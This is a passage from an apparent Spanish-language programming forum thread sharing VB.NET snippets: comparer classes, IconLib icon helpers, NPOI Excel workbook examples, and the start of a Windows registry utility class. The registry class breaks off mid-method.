''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
''' </returns>
Friend Shadows Function Compare(ByVal x As Object, ByVal y As Object) As Integer
' Null parsing.
If x Is Nothing AndAlso y Is Nothing Then
Return ComparerResult.Equals ' X is equals to Y.
ElseIf x Is Nothing AndAlso y IsNot Nothing Then
Return ComparerResult.Less ' X is less than Y.
ElseIf x IsNot Nothing AndAlso y Is Nothing Then
Return ComparerResult.Greater ' X is greater than Y.
End If
' String parsing:
If (TypeOf x Is String) AndAlso (TypeOf y Is String) Then ' True and True
Return [Enum].Parse(GetType(ComparerResult),
MyBase.Compare(x, y))
ElseIf (TypeOf x Is String) AndAlso Not (TypeOf y Is String) Then ' True and False
Return ComparerResult.Greater ' X is greater than Y.
ElseIf Not (TypeOf x Is String) AndAlso (TypeOf y Is String) Then ' False and True
Return ComparerResult.Less ' X is less than Y.
Else ' False and False
Return ComparerResult.Equals
End If
End Function
#End Region
End Class
#End Region
#Region " Numeric "
''' <summary>
''' Performs a numeric comparison.
''' </summary>
Public Class NumericComparer : Implements IComparer
#Region " Enumerations "
''' <summary>
''' Specifies a comparison result.
''' </summary>
Public Enum ComparerResult As Integer
''' <summary>
''' 'X' is equals to 'Y'.
''' </summary>
Equals = 0I
''' <summary>
''' 'X' is less than 'Y'.
''' </summary>
Less = -1I
''' <summary>
''' 'X' is greater than 'Y'.
''' </summary>
Greater = 1I
End Enum
#End Region
#Region " Methods "
''' <summary>
''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
''' </summary>
''' <param name="x">The first object to compare.</param>
''' <param name="y">The second object to compare.</param>
''' <returns>
''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
''' 0: <paramref name="x"/> equals <paramref name="y"/>.
''' Less than 0: <paramref name="x" /> is less than <paramref name="y"/>.
''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
''' </returns>
Public Function Compare(ByVal x As Object, ByVal y As Object) As Integer _
Implements IComparer.Compare
' Null parsing.
If x Is Nothing AndAlso y Is Nothing Then
Return ComparerResult.Equals ' X is equals to Y.
ElseIf x Is Nothing AndAlso y IsNot Nothing Then
Return ComparerResult.Less ' X is less than Y.
ElseIf x IsNot Nothing AndAlso y Is Nothing Then
Return ComparerResult.Greater ' X is greater than Y.
End If
' The single variables to parse the text.
Dim SingleX, SingleY As Single
' Single parsing:
If Single.TryParse(x, SingleX) AndAlso Single.TryParse(y, SingleY) Then ' True and True
Return [Enum].Parse(GetType(ComparerResult),
SingleX.CompareTo(SingleY))
ElseIf Single.TryParse(x, SingleX) AndAlso Not Single.TryParse(y, SingleY) Then ' True and False
Return ComparerResult.Greater ' X is greater than Y.
ElseIf Not Single.TryParse(x, SingleX) AndAlso Single.TryParse(y, SingleY) Then ' False and True
Return ComparerResult.Less ' X is less than Y.
Else ' False and False
Return [Enum].Parse(GetType(ComparerResult),
x.ToString.CompareTo(y.ToString))
End If
End Function
#End Region
End Class
#End Region
#Region " Date "
''' <summary>
''' Performs a date comparison.
''' </summary>
Public Class DateComparer : Implements IComparer
#Region " Enumerations "
''' <summary>
''' Specifies a comparison result.
''' </summary>
Public Enum ComparerResult As Integer
''' <summary>
''' 'X' is equals to 'Y'.
''' </summary>
Equals = 0I
''' <summary>
''' 'X' is less than 'Y'.
''' </summary>
Less = -1I
''' <summary>
''' 'X' is greater than 'Y'.
''' </summary>
Greater = 1I
End Enum
#End Region
#Region " Methods "
''' <summary>
''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
''' </summary>
''' <param name="x">The first object to compare.</param>
''' <param name="y">The second object to compare.</param>
''' <returns>
''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
''' 0: <paramref name="x"/> equals <paramref name="y"/>.
''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
''' </returns>
Public Function Compare(ByVal x As Object, ByVal y As Object) As Integer Implements IComparer.Compare
' Null parsing.
If x Is Nothing AndAlso y Is Nothing Then
Return ComparerResult.Equals ' X is equals to Y.
ElseIf x Is Nothing AndAlso y IsNot Nothing Then
Return ComparerResult.Less ' X is less than Y.
ElseIf x IsNot Nothing AndAlso y Is Nothing Then
Return ComparerResult.Greater ' X is greater than Y.
End If
' The Date variables to parse the text.
Dim DateX, DateY As Date
' Date parsing:
If Date.TryParse(x, DateX) AndAlso Date.TryParse(y, DateY) Then ' True and True
Return [Enum].Parse(GetType(ComparerResult),
DateX.CompareTo(DateY))
ElseIf Date.TryParse(x, DateX) AndAlso Not Date.TryParse(y, DateY) Then ' True and False
Return ComparerResult.Greater ' X is greater than Y.
ElseIf Not Date.TryParse(x, DateX) AndAlso Date.TryParse(y, DateY) Then ' False and True
Return ComparerResult.Less ' X is less than Y.
Else ' False and False
Return [Enum].Parse(GetType(ComparerResult),
x.ToString.CompareTo(y.ToString))
End If
End Function
#End Region
End Class
#End Region
#End Region
Unos métodos de uso genérico para utilizar la librería IconLib ( http://www.codeproject.com/Articles/16178/IconLib-Icons-Unfolded-MultiIcon-and-Windows-Vista ) para crear iconos o leer las capas de un icono.
PD: Hay que modificar un poco el source (escrito en C#) para permitir la creación de iconos de 512 x 512 (es facil, busquen un if con "256" y añadan el valor "512" a la enumeración de formatos de iconos), pero por otro lado no hay ningún problema para leer este tamaño de icono sin realizar modificaciones.
(http://www.codeproject.com/KB/cs/IconLib/image013.jpg)
' Create Icon
' By Elektro
'
' Usage Examples:
'
' Dim IconFile As IconLib.SingleIcon = CreateIcon("C:\Image.ico", IconLib.IconOutputFormat.All)
' For Each IconLayer As IconLib.IconImage In IconFile
' PictureBox1.BackgroundImage = IconLayer.Icon.ToBitmap
' Debug.WriteLine(IconLayer.Icon.Size.ToString)
' Application.DoEvents()
' Threading.Thread.Sleep(750)
' Next IconLayer
'
''' <summary>
''' Creates an icon with the specified image.
''' </summary>
''' <param name="imagefile">Indicates the image.</param>
''' <param name="format">Indicates the icon format.</param>
''' <returns>IconLib.SingleIcon.</returns>
Public Function CreateIcon(ByVal imagefile As String,
Optional ByVal format As IconLib.IconOutputFormat =
IconLib.IconOutputFormat.All) As IconLib.SingleIcon
Dim sIcon As IconLib.SingleIcon = New IconLib.MultiIcon().Add("Icon1")
sIcon.CreateFrom(imagefile, format)
Return sIcon
End Function
' Get Icon-Layers
' By Elektro
'
' Usage Examples:
'
' For Each IconLayer As IconLib.IconImage In GetIconLayers("C:\Image.ico")
' PictureBox1.BackgroundImage = IconLayer.Icon.ToBitmap
' Debug.WriteLine(IconLayer.Icon.Size.ToString)
' Application.DoEvents()
' Threading.Thread.Sleep(750)
' Next IconLayer
'
''' <summary>
''' Gets all the icon layers inside an icon file.
''' </summary>
''' <param name="iconfile">Indicates the icon file.</param>
''' <returns>IconLib.SingleIcon.</returns>
Public Function GetIconLayers(ByVal iconfile As String) As IconLib.SingleIcon
Dim mIcon As IconLib.MultiIcon = New IconLib.MultiIcon()
mIcon.Load(iconfile)
Return mIcon.First
End Function
Por algún motivo no me puedo instalar el MS Office así que tuve que buscar alguna alternativa para poder seguir desarrollando con manejo de Excel sin interop, y di con esta magnifica librería, NPOI:
(http://download-codeplex.sec.s-msft.com/Download?ProjectName=npoi&DownloadId=155905&Build=20928)
http://npoi.codeplex.com/
Tomé los ejemplos oficiales en C# y escribí los siguientes ejemplos en VB.NET
Crear un workbook:
#Region " Create a WorkBook "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("Sheet A1")
' Create a cell.
Dim cell As ICell = sheet.CreateRow(0).CreateCell(0)
' Set cell value.
cell.SetCellValue("This is a test")
' Set the width of column A1.
sheet.SetColumnWidth(0, 50 * 256)
' Set the height of row A1.
sheet.CreateRow(0).Height = 200
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Create a Workbook Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Deinifir la cabecera y el pie de página:
#Region " Set Header and Footer "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim sheet As ISheet = workbook.CreateSheet("Sheet1") ' Create a sheet.
With sheet
' Create a cell and add a value.
.CreateRow(0).CreateCell(1).SetCellValue("test")
' Set header text.
.Header.Left = HSSFHeader.Page
' Page is a static property of HSSFHeader and HSSFFooter.
.Header.Center = "This is a test sheet"
' Set footer text.
.Footer.Left = "Copyright NPOI Team"
.Footer.Right = "created by Tony Qu（瞿杰）"
End With
Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Header-Footer Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Añadir comentarios a una celda:
#Region " Add Comments "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim sheet As ISheet = workbook.CreateSheet("some comments") ' Create the first sheet.
' Create the drawing patriarch. This is the top level container for all shapes including cell comments.
Dim patr As IDrawing = sheet.CreateDrawingPatriarch()
' Create a cell in row 3.
Dim cell1 As ICell = sheet.CreateRow(3).CreateCell(1)
cell1.SetCellValue(New XSSFRichTextString("Hello, World"))
' Create a richtext to use it in the comment.
Dim strComment As New XSSFRichTextString("This is saying you hello")
' Create the richtext font style.
Dim font As IFont = workbook.CreateFont()
With font
.FontName = "Arial"
.FontHeightInPoints = 10
.Boldweight = CShort(FontBoldWeight.Bold)
.Color = HSSFColor.Red.Index
End With
' Apply font style to the text in the comment.
strComment.ApplyFont(font)
' Create a comment, Anchor defines size and position of the comment in worksheet.
Dim comment1 As IComment = patr.CreateCellComment(New XSSFClientAnchor(0, 0, 0, 0, 4, 2, 6, 5))
With comment1
' Set comment text.
.[String] = strComment
' Set comment author.
.Author = "Elektro"
' By default comments are hidden. This one is always visible.
.Visible = True
End With
'* The first way to assign comment to a cell is via CellComment method:
cell1.CellComment = comment1
'* The second way to assign comment to a cell is to implicitly specify its row and column.
'* Note: It is possible to set row and column of a non-existing cell.
comment1.Row = 3
comment1.Column = 1
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Comment Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Definir propiedades personalizadas:
#Region " Set Custom Properties "
' Create the excel workbook.
Dim workbook As XSSFWorkbook = New XSSFWorkbook()
Dim sheet As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
' Get the properties.
Dim props As POIXMLProperties = workbook.GetProperties()
With props ' Set some default properties.
.CoreProperties.Title = "Properties Example"
.CoreProperties.Creator = "Elektro"
.CoreProperties.Created = DateTime.Now
End With
' Set a custom property.
If Not props.CustomProperties.Contains("My Property Name") Then
props.CustomProperties.AddProperty("My Property Name", "Hello World!")
End If
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Properties Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Rellenar el color de fondo de una celda:
#Region " Fill Cell Background "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
' Create a cell.
Dim cell1 As ICell = sheet.CreateRow(0).CreateCell(0)
' Set the cell text.
cell1.SetCellValue("Hello")
' Set the Background Style.
Dim style As ICellStyle = workbook.CreateCellStyle()
With style
.FillForegroundColor = IndexedColors.Blue.Index
.FillPattern = FillPattern.BigSpots
.FillBackgroundColor = IndexedColors.Pink.Index
End With
' Fill the cell background.
cell1.CellStyle = style
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Fill background Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Añadir un hyperlink:
#Region " Add HyperLinks "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim cell As ICell = Nothing
Dim sheet As ISheet = workbook.CreateSheet("Hyperlinks") ' Create the first sheet.
' Set the Hyperlink style.
Dim HyperLinkStyle As ICellStyle = workbook.CreateCellStyle()
Dim HyperLinkFont As IFont = workbook.CreateFont()
HyperLinkFont.Underline = FontUnderlineType.[Single]
HyperLinkFont.Color = HSSFColor.Blue.Index
HyperLinkStyle.SetFont(HyperLinkFont)
' Link to an URL.
Dim LinkURL As New XSSFHyperlink(HyperlinkType.Url) With {.Address = "http://poi.apache.org/"}
cell = sheet.CreateRow(0).CreateCell(0)
With cell
.SetCellValue("URL Link")
.Hyperlink = LinkURL
.CellStyle = HyperLinkStyle
End With
' Link to a file.
Dim LinkFile As New XSSFHyperlink(HyperlinkType.File) With {.Address = "link1.xls"}
cell = sheet.CreateRow(1).CreateCell(0)
With cell
.SetCellValue("File Link")
.Hyperlink = LinkFile
.CellStyle = HyperLinkStyle
End With
' Link to an e-amil.
Dim LinkMail As New XSSFHyperlink(HyperlinkType.Email) With {.Address = "mailto:poi@apache.org?subject=Hyperlinks"}
With cell
cell = sheet.CreateRow(2).CreateCell(0)
.SetCellValue("Email Link")
.Hyperlink = LinkMail
.CellStyle = HyperLinkStyle
End With
' Link to a place in the workbook.
Dim LinkSheet As New XSSFHyperlink(HyperlinkType.Document) With {.Address = "'Target ISheet'!A1"}
Dim sheet2 As ISheet = workbook.CreateSheet("Target ISheet") ' Create a target sheet.
sheet2.CreateRow(0).CreateCell(0).SetCellValue("Target ICell") ' Create a target cell.
With cell
cell = sheet.CreateRow(3).CreateCell(0)
.SetCellValue("Worksheet Link")
.Hyperlink = LinkSheet
.CellStyle = HyperLinkStyle
End With
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\HyperLink Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Establecer el estilo de fuente:
#Region " Set Font style "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim sheet1 As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
' Create a cell style.
Dim style1 As ICellStyle = workbook.CreateCellStyle()
' Create a font style.
Dim font1 As IFont = workbook.CreateFont()
With font1 ' underlined, italic, red color, fontsize=20
.Color = IndexedColors.Red.Index
.IsItalic = True
.Underline = FontUnderlineType.[Double]
.FontHeightInPoints = 20
End With
' bind font1 with style1
style1.SetFont(font1)
' Create a cell, add text, and apply the font.
Dim cell1 As ICell = sheet1.CreateRow(1).CreateCell(1)
With cell1
.SetCellValue("Hello World!")
.CellStyle = style1
End With
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Font-Style Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Establecer el tipo de fuente para texto con formato (rich text):
#Region " Set Font style RichText "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim sheet1 As ISheet = workbook.CreateSheet("Sheet1") ' Create the first sheet.
' Create a cell with rich text.
Dim cell1 As ICell = sheet1.CreateRow(0).CreateCell(0)
' Create a richtext.
Dim richtext As New XSSFRichTextString("Microsoft OfficeTM")
' Create a font style.
Dim font1 As IFont = workbook.CreateFont()
With font1
.FontHeightInPoints = 12
End With
richtext.ApplyFont(0, 16, font1) ' apply font to "Microsoft Office".
' Create a font style.
Dim font2 As IFont = workbook.CreateFont()
With font2
.TypeOffset = FontSuperScript.Super
.IsItalic = True
.Color = IndexedColors.Blue.Index
.FontHeightInPoints = 8
End With
richtext.ApplyFont(16, 18, font2) ' apply font to "TM"
' Add the richtext into the cell.
cell1.SetCellValue(richtext)
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Font-Style RichText Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Añadir una tabla:
#Region " Add a Table "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
Dim sheet1 As XSSFSheet = DirectCast(workbook.CreateSheet("Sheet1"), XSSFSheet) ' Create the first sheet.
' Create a cell with text.
sheet1.CreateRow(0).CreateCell(0).SetCellValue("This is a Sample")
' Create a table.
Dim x As Integer = 1
For i As Integer = 1 To 15
Dim row As IRow = sheet1.CreateRow(i)
For j As Integer = 0 To 14
row.CreateCell(j).SetCellValue(System.Math.Max(System.Threading.Interlocked.Increment(x), x - 1))
Next j
Next i
Dim table As XSSFTable = sheet1.CreateTable()
table.Name = "Tabella1"
table.DisplayName = "Tabella1"
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Table Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Formatear el valor de una celda:
#Region " Format Cell Data "
Private Sub Test() Handles MyBase.Shown
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
' Create the format instance.
Dim format As IDataFormat = workbook.CreateDataFormat()
' Increase the width of Column A.
sheet.SetColumnWidth(0, 5000)
' Create a row and put some cells in it. Rows are 0 based.
Dim cell1 As ICell = sheet.CreateRow(0).CreateCell(0)
Dim cell2 As ICell = sheet.CreateRow(1).CreateCell(0)
Dim cell3 As ICell = sheet.CreateRow(2).CreateCell(0)
Dim cell4 As ICell = sheet.CreateRow(3).CreateCell(0)
Dim cell5 As ICell = sheet.CreateRow(4).CreateCell(0)
Dim cell6 As ICell = sheet.CreateRow(5).CreateCell(0)
Dim cell7 As ICell = sheet.CreateRow(6).CreateCell(0)
' Format the cell values.
' [Cell1]
' Number format with 2 digits after the decimal point. eg: "1.20"
SetValueAndFormat(workbook, cell1, 1.2, HSSFDataFormat.GetBuiltinFormat("0.00"))
' [Cell2]
' RMB currency format with comma. eg: "¥20,000"
SetValueAndFormat(workbook, cell2, 20000, format.GetFormat("¥#,##0"))
' [Cell3]
' Scentific number format. eg: "3.15E+00"
SetValueAndFormat(workbook, cell3, 3.151234, format.GetFormat("0.00E+00"))
' [Cell4]
' Percent format, 2 digits after the decimal point. eg: "99.33%"
SetValueAndFormat(workbook, cell4, 0.99333, format.GetFormat("0.00%"))
' [Cell5]
' Phone number format. eg: "021-65881234"
SetValueAndFormat(workbook, cell5, 2165881234UI, format.GetFormat("000-00000000"))
' [Cell6]:
' Formula value with datetime style.
cell6.CellFormula = "DateValue(""2005-11-11"")+TIMEVALUE(""11:11:11"")"
Dim cellStyle6 As ICellStyle = workbook.CreateCellStyle()
cellStyle6.DataFormat = HSSFDataFormat.GetBuiltinFormat("m/d/yy h:mm")
cell6.CellStyle = cellStyle6
' [Cell7]:
' Display current time in AM/PM format.
SetDate(workbook, cell7, DateTime.Now, format.GetFormat("[$-409]h:mm:ss AM/PM;@"))
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Formula Example.xlsx")
workbook.Write(sw)
End Using
End Sub
Private Shared Sub SetValueAndFormat(ByVal workbook As IWorkbook,
ByVal cell As ICell,
ByVal value As Double,
ByVal formatId As Short)
cell.SetCellValue(value)
Dim cellStyle As ICellStyle = workbook.CreateCellStyle()
cellStyle.DataFormat = formatId
cell.CellStyle = cellStyle
End Sub
Private Shared Sub SetDate(ByVal workbook As IWorkbook,
ByVal cell As ICell,
ByVal value As DateTime,
ByVal formatId As Short)
'set value for the cell
If Not value = Nothing Then
cell.SetCellValue(value)
End If
Dim cellStyle As ICellStyle = workbook.CreateCellStyle()
cellStyle.DataFormat = formatId
cell.CellStyle = cellStyle
End Sub
#End Region
Ocultar una fila o una columna:
#Region " Hide row or column "
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
' Create some rows.
Dim r1 As IRow = sheet.CreateRow(0)
Dim r2 As IRow = sheet.CreateRow(1)
Dim r3 As IRow = sheet.CreateRow(2)
Dim r4 As IRow = sheet.CreateRow(3)
Dim r5 As IRow = sheet.CreateRow(4)
' Hide IRow 2.
r2.ZeroHeight = True
' Hide column C.
sheet.SetColumnHidden(2, True)
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Hide Row or Column Example.xlsx")
workbook.Write(sw)
End Using
#End Region
Añadir una imagen:
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("PictureSheet")
' Create the drawing patriarch. This is the top level container for all shapes including cell comments.
Dim patriarch As IDrawing = sheet.CreateDrawingPatriarch()
' Create the anchor.
Dim anchor As New XSSFClientAnchor(500, 200, 0, 0, 2, 2, 4, 7)
anchor.AnchorType = 2
' Load the picture and get the picture index in the workbook.
Dim imageId As Integer = LoadImage("C:\Users\Administrador\Desktop\4t0n.png", workbook)
Dim picture As XSSFPicture = DirectCast(patriarch.CreatePicture(anchor, imageId), XSSFPicture)
' Reset the image to the original size.
' Note: Resize will reset client anchor you set.
'picture.Resize();
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Add Picture Example.xlsx")
workbook.Write(sw)
End Using
Public Shared Function LoadImage(path As String, wb As IWorkbook) As Integer
Dim file As New FileStream(path, FileMode.Open, FileAccess.Read)
Dim buffer As Byte() = New Byte(file.Length - 1) {}
file.Read(buffer, 0, CInt(file.Length))
Return wb.AddPicture(buffer, PictureType.JPEG)
End Function
Unir celdas:
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As ISheet = workbook.CreateSheet("Sheet1")
' Create a cell.
Dim cell As ICell = sheet.CreateRow(1).CreateCell(1)
cell.SetCellValue(New XSSFRichTextString("This is a test of merging"))
' Merge B2 cell with C2 cell.
sheet.AddMergedRegion(New CellRangeAddress(1, 1, 1, 2))
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Merge Cells Example.xlsx")
workbook.Write(sw)
End Using
Proteger con contraseña:
' Create the excel workbook.
Dim workbook As IWorkbook = New XSSFWorkbook()
' Create a sheet.
Dim sheet As XSSFSheet = DirectCast(workbook.CreateSheet("Sheet A1"), XSSFSheet)
With sheet ' Lock accessing excel operations.
.LockFormatRows()
.LockFormatCells()
.LockFormatColumns()
.LockDeleteColumns()
.LockDeleteRows()
.LockInsertHyperlinks()
.LockInsertColumns()
.LockInsertRows()
End With
' Set the password to unprotect:
Dim password As String = "Your Password"
sheet.ProtectSheet(password)
' Save changes.
Using sw As IO.FileStream = IO.File.Create(".\Protect Cells Example.xlsx")
workbook.Write(sw)
End Using
EDITO:
Como leer un workbook:
' The existing workbook filepath.
Dim WorkBookFile As String = "C:\MyWorkBook.xlsx"
' Create the excel workbook instance.
Dim workbook As IWorkbook = Nothing
' Load the workbook.
Using file As New IO.FileStream(WorkBookFile, IO.FileMode.Open, IO.FileAccess.Read)
workbook = New XSSFWorkbook(file)
End Using
' Get the first sheet.
Dim sheet As ISheet = workbook.GetSheetAt(0)
' Get the first row.
Dim row As IRow = sheet.GetRow(0)
' Create a cell.
Dim cell As ICell = row.CreateCell(1)
' Get the cell value.
If String.IsNullOrEmpty(cell.StringCellValue) Then ' If value is emty then...
' Set cell value.
cell.SetCellValue("This is a test")
End If
' Save changes.
Using sw As IO.FileStream = IO.File.Create(WorkBookFile)
workbook.Write(sw)
End Using
Una versión actualizada de mi Reg-Editor
Contiene todo tipo de métodos para el manejo del registro de Windows.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-30-2014
' ***********************************************************************
' <copyright file="Class1.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' -----------
' Create Key:
' -----------
' RegEdit.CreateKey("HKCU\Software\MyProgram") ' Creates "HKCU\Software\MyProgram"
' RegEdit.CreateKey("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
'
' -----------
' Delete Key:
' -----------
' RegEdit.DeleteKey("HKLM\Software\7-zip") ' Deletes the "7-zip" tree including subkeys
' RegEdit.DeleteKey("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
'
' -------------
' Delete Value:
' -------------
' RegEdit.DeleteValue("HKCU\Software\7-Zip", "Lang") ' Deletes "Lang" Value
' RegEdit.DeleteValue("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
'
' ----------
' Get Value:
' ----------
' Dim Data As String = RegEdit.GetValue("HKCU\Software\MyProgram", "Value name"))
' Dim Data As String = RegEdit.GetValue("HKEY_CURRENT_USER\Software\MyProgram", "Value name"))
'
' ----------
' Set Value:
' ----------
' RegEdit.SetValue("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
' RegEdit.SetValue("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
'
' -----------
' Export Key:
' -----------
' RegEdit.ExportKey("HKLM", "C:\HKLM.reg") ' Export entire "HKEY_LOCAL_MACHINE" Tree to "C:\HKLM.reg" file.
' RegEdit.ExportKey("HKLM\Software\7-zip\", "C:\7-zip.reg") ' Export entire "7-zip" Tree to "C:\7-zip.reg" file.
'
' ------------
' Import File:
' ------------
' RegEdit.ImportRegFile("C:\Registry_File.reg") ' Install a registry file.
'
' ------------
' Jump To Key:
' ------------
' RegEdit.JumpToKey("HKLM") ' Opens Regedit at "HKEY_LOCAL_MACHINE" Root.
' RegEdit.JumpToKey("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Opens Regedit at "HKEY_LOCAL_MACHINE\Software\7-zip" tree.
'
' -----------
' Exist Key?:
' -----------
' MsgBox(RegEdit.ExistKey("HKCU\software") ' Checks if "Software" Key exist.
' -------------
' Exist Value?:
' -------------
' MsgBox(RegEdit.ExistValue("HKLM\software\7-zip", "Path") ' Checks if "Path" value exist.
'
' ------------
' Exist Data?:
' ------------
' MsgBox(RegEdit.ExistData("HKLM\software\7-zip", "Path") ' Checks if "Path" value have empty data.
'
' ---------
' Copy Key:
' ---------
' RegEdit.CopyKey("HKCU\Software\7-Zip", "HKCU\Software\7-zip Backup") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-zip Backup"
'
' -----------
' Copy Value:
' -----------
' RegEdit.CopyValue("HKLM\software\7-zip", "path", "HKLM\software\7-zip", "path_backup") ' Copies "Path" value with their data to "HKLM\software\7-zip" "path_backup".
'
' -------------------
' SetUserAccessKey:
' -------------------
' RegEdit.SetUserAccessKey("HKCU\Software\7-Zip", {RegEdit.ReginiUserAccess.Administrators_Full_Access})
' RegEdit.SetUserAccessKey("HKEY_CURRENT_USER\Software\7-Zip", {RegEdit.ReginiUserAccess.Administrators_Full_Access, RegEdit.ReginiUserAccess.Creator_Full_Access, RegEdit.ReginiUserAccess.System_Full_Access})
#End Region
#Region " Imports "
Imports Microsoft.Win32
Imports System.IO
Imports System.Text
#End Region
#Region " RegEdit "
''' <summary>
''' Contains registry related methods.
''' </summary>
Public Class RegEdit
#Region " Enumerations "
''' <summary>
''' Specifies an User identifier for Regini.exe command.
''' </summary>
Public Enum ReginiUserAccess As Integer
Administrators_Full_Access = 1I
Administrators_Read_Access = 2I
Administrators_Read_and_Write_Access = 3I
Administrators_Read_Write_and_Delete_Access = 4I
Administrators_Read_Write_and_Execute_Access = 20I
Creator_Full_Access = 5I
Creator_Read_and_Write_Access = 6I
Interactive_User_Full_Access = 21I
Interactive_User_Read_and_Write_Access = 22I
Interactive_User_Read_Write_and_Delete_Access = 23I
Power_Users_Full_Access = 11I
Power_Users_Read_and_Write_Access = 12I
Power_Users_Read_Write_and_Delete_Access = 13I
System_Full_Access = 17I
System_Operators_Full_Access = 14I
System_Operators_Read_and_Write_Access = 15I
System_Operators_Read_Write_and_Delete_Access = 16I
System_Read_Access = 19I
System_Read_and_Write_Access = 18I
World_Full_Access = 7I
World_Read_Access = 8I
World_Read_and_Write_Access = 9I
World_Read_Write_and_Delete_Access = 10I
End Enum
#End Region
#Region " Public Methods "
#Region " Create "
''' <summary>
''' Creates a new registry key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
Public Shared Sub CreateKey(ByVal Key As String)
Using Reg As RegistryKey = GetRoot(Key)
Reg.CreateSubKey(GetPath(Key), RegistryKeyPermissionCheck.Default, RegistryOptions.None)
End Using
End Sub
#End Region
#Region " Delete "
''' <summary>
''' Deletes a registry key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
Public Shared Sub DeleteKey(ByVal Key As String)
Using Reg As RegistryKey = GetRoot(Key)
Reg.DeleteSubKeyTree(GetPath(Key), throwOnMissingSubKey:=False)
End Using
End Sub
''' <summary>
''' Delete a registry value.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="Value">Indicates the registry value.</param>
Public Shared Sub DeleteValue(ByVal Key As String,
ByVal Value As String)
Using Reg As RegistryKey = GetRoot(Key)
Reg.OpenSubKey(GetPath(Key), writable:=False).
DeleteValue(Value, throwOnMissingValue:=False)
End Using
End Sub
#End Region
#Region " Get "
''' <summary>
''' Gets the data of a registry value.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="Value">Indicates the registry value.</param>
''' <returns>The registry data.</returns>
Public Shared Function GetValue(ByVal Key As String,
ByVal Value As String) As Object
Using Reg As RegistryKey = GetRoot(Key)
Return Reg.OpenSubKey(GetPath(Key), writable:=False).
GetValue(Value, defaultValue:=Nothing)
End Using
End Function
#End Region
#Region " Set "
''' <summary>
''' Set the data of a registry value.
''' If the Key or value doesn't exist it will be created.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="Value">Indicates the registry value.</param>
''' <param name="Data">Indicates the registry data.</param>
''' <param name="DataType">Indicates the type of data.</param>
Public Shared Sub SetValue(ByVal Key As String,
ByVal Value As String,
ByVal Data As Object,
Optional ByVal DataType As RegistryValueKind = RegistryValueKind.Unknown)
Using Reg As RegistryKey = GetRoot(Key)
Select Case DataType
Case RegistryValueKind.Unknown
Reg.OpenSubKey(GetPath(Key), writable:=True).
SetValue(Value, Data)
Case RegistryValueKind.Binary
Reg.OpenSubKey(GetPath(Key), writable:=True).
